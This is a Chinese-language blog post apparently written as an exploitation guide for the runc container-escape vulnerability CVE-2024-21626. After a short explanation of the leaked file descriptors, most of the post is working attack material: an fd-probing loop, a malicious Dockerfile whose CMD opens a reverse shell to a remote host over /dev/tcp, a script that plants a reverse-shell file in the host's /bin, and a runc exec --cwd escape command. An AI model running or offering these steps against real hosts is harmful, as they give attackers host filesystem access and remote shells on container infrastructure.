CVE-2024-21626 利用场景

PaperDragon (https://github.com/Paper-Dragon) 2024年2月1日 ... 大约 2 分钟

影响组件

runc是一个根据OCI规范，在Linux上生成和运行容器的命令行工具。runc的使用非常灵活，可以与各种容器工具和平台集成，如Docker、Kubernetes等。它支持多种容器格式，包括OCI规范定义的标准格式，以及其他格式如Docker镜像格式。作为开源项目，runc受到全球开发者社区的广泛参与和贡献，被广泛应用于生产环境中的容器化部署。

漏洞描述

近日，奇安信CERT监测到runc官方发布安全通告修复了**runc容器逃逸漏洞(CVE-2024-21626)**，由于runc存在内部文件描述符泄露，本地攻击者可以通过多种方式进行容器逃逸：

1、由于runc 内部意外地将包括宿主机 /sys/fs/cgroup 句柄的几个文件描述符泄漏到 runc init 中，攻击欺骗具有特权的用户执行恶意容器镜像，可以导致pid1 进程将在宿主机挂载命名空间中拥有一个工作目录，生成的进程可以访问整个宿主文件系统。

2、由于runc exec中同样存在文件描述符泄漏和工作目录验证不足。如果容器内的恶意进程知道某个管理进程将使用 --cwd 参数和给定路径调用 runc exec，便可以用符号链接将该路径替换为 /proc/self/fd/7/ 。一旦容器进程执行了容器镜像中的可执行文件，可以绕过 PR_SET_DUMPABLE 保护，之后攻击者可以通过打开 /proc/$exec_pid/cwd 来访问主机文件系统。

3、可以通过将类似/proc/self/fd/7/../../../bin/bash的路径用作 process.args 二进制参数来覆盖主机二进制文件来改进攻击1、2。由于可以覆盖类似 /bin/ -旦特权用户在主机上执行目标二进制文件，攻击者就可以进行转移，

爆出漏洞的fd脚本

若哪个fd存在漏洞，则这个脚本会显示出来你宿主机的hostn 来填到下面的Dockerfile里

> https://github.com/Wall1e/CVE-2024-21626-POC/blob/main/poc.sh

```sh
#! /bin/bash
for i in {4..20}; do
    docker run -it --rm -w /proc/self/fd/$i ubuntu:20.04 bash -c "cat
/proc/self/cwd/../../../etc/hostname"
done
```

恶意Dockerfile

```docker
FROM ubuntu:18.04
WORKDIR /proc/1/fd/7/
```

构建Dockerfile

```sh
docker build .
docker run dockerid ls   ../../../
docker run dockerid cat /proc/1/cwd/../../../../etc/hostname
```

反弹shell

对于业务来说，给一个上面的恶意镜像

然后可以加一个CMD 反弹shell

```docker
FROM ubuntu:18.04
WORKDIR /proc/1/fd/7/
CMD /bin/bash -c 'bash -i >&/dev/tcp/ip/8000 0>&1'
```

给宿主机植入shell

```
#!/bin/bash
ip=$(hostname -I | awk '{print $1}')
port=1337
cat > /proc/self/cwd/../../../../bin/bash.copy << EOF
#!/bin/bash
bash -i >& /dev/tcp/$ip/$port 0>&1
EOF

# listen and wait for reverse shell
nc -lvvp 1337
```

控制WROKERDIR

```sh
runc exec --cwd /proc/1/fd/7/ demo ls ../../../../
```

有些产品可以指定 WROKERDIR 也就是 cwd 那么也受影响,可以关注一下启动时候的参数 能不能控制WROKERDIR

上次编辑于: 2024/2/3 00:42:51
贡献者: PaperDragon,PaperDragon-SH